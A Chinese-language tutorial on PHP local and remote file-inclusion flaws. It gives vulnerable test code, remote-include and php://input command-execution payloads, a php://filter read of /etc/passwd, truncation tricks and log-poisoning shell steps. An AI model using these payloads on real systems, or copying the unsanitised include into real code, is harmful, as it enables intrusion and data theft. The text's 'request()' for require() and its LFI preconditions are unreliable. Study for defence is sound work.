php文件包含漏洞

1.文件包含的原理

1.1为什么要使用文件包含

将一些自定义函数或功能写在一个a文件内,当b文件中要使用到a文件内的一些函数或功能时,b文件只需要包含a文件,这样b文件就可以直接调用a文件内定义好的函数或一些功能,这样方便省事。

1.2相关测试代码

php文件包含代码

<?php 
if ($_GET['file']) {
    include $_GET['file'];
}else {
    include 'default.php';
}
 ?>

存放于本地和远程服务器上的符合php语法的txt文件

<?php 
phpinfo();
 ?>

1.3本地文件包含(LFI)

条件:php配置文件中的allow_url_fopen = on选项打开

传入参数本地文件phpinfo.txt的相对或绝对路径?file=phpinfo.txt
符合php语法的内容被php解析
这里写图片描述

1.4远程文件包含(RFI)

条件:php配置文件中的allow_url_fopen = on,allow_url_include = on选项打开

传入参数远程服务器上的文件php.txt?file=http://192.168.1.168/php.txt
符合php语法的内容被php解析
这里写图片描述

2.文件包含漏洞

2.1漏洞原理

由于对传入的文件名或路径没有进行严格过滤,这就导致了可以包含一些其他对攻击者有用的文件,比如配置文件,图片木马等文件,这样就存在敏感信息泄露,被攻击者掌握服务器等危险。被包含的文件格式不限,其中符合脚本语言语法规范的部分会被脚本解析,其他部分会以明文暴露出来。

2.2相关函数

文件包含的案例多出现于以php语言中

include()           //包含的文件如果找不到,会发出警告,代码继续执行
request()           //包含的文件如果找不到,或发出致命错误,代码终止执行
include_once()
request_once()      //once表示只包含一次,不会重复包含

2.3php伪协议

1.input

通过post提交,利用php流input执行php代码

条件:allow_url_include = on

url栏:?file=php://input
post栏:<?php system('whoami');?>
这里写图片描述

2.filter

通过php流filter读取文件内容,配合base64编码,读出被解析的部分

条件:allow_url_include = on

传入参数:?file=php://filter/read=convert.base64-encode/resource=/etc/passwd
这里写图片描述

2.4漏洞利用技巧

1.%00截断

条件
魔术引号关闭magic_quotes_gpc = off
php版本小于5.3

有的文件包含会在传入参数后链接一个路径或者文件后缀,例如
测试代码

<?php 
$a = $_GET['file'];
include $a.'.txt'
?>

这个时候简单的包含一个文件将失败,可以尝试%00截断的方式将后面拼接的.txt给截断掉
%00会被解析成0x00,如果魔术引号开启,%00会被解析成/0
这里写图片描述

2.文件路径长度截断

除了可以使用%00截断,还可以尝试文件路径长度截断

条件
php版本小于5.3

可以在文件路径后添加
.
./文件路径为奇数时使用
/.文件路径为偶数时使用
着三种形式来达到超长文件路径的效果

Window下,文件路径长度超过259个字节后,超出的部分会被截断
Linux下下,文件路径长度超过4096个字节后,超出的部分会被截断
这里写图片描述

3.漏洞利用

  1. 包含图片马拿shell
  2. 包含日志文件拿shell
    通过在url中写马或在User-Agent中写马
    要求:通过burp或curl等工具写马绕过url编码,日志文件有可读权限,其目录有可执行权限
  3. 遍历目录,访问敏感文件
  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值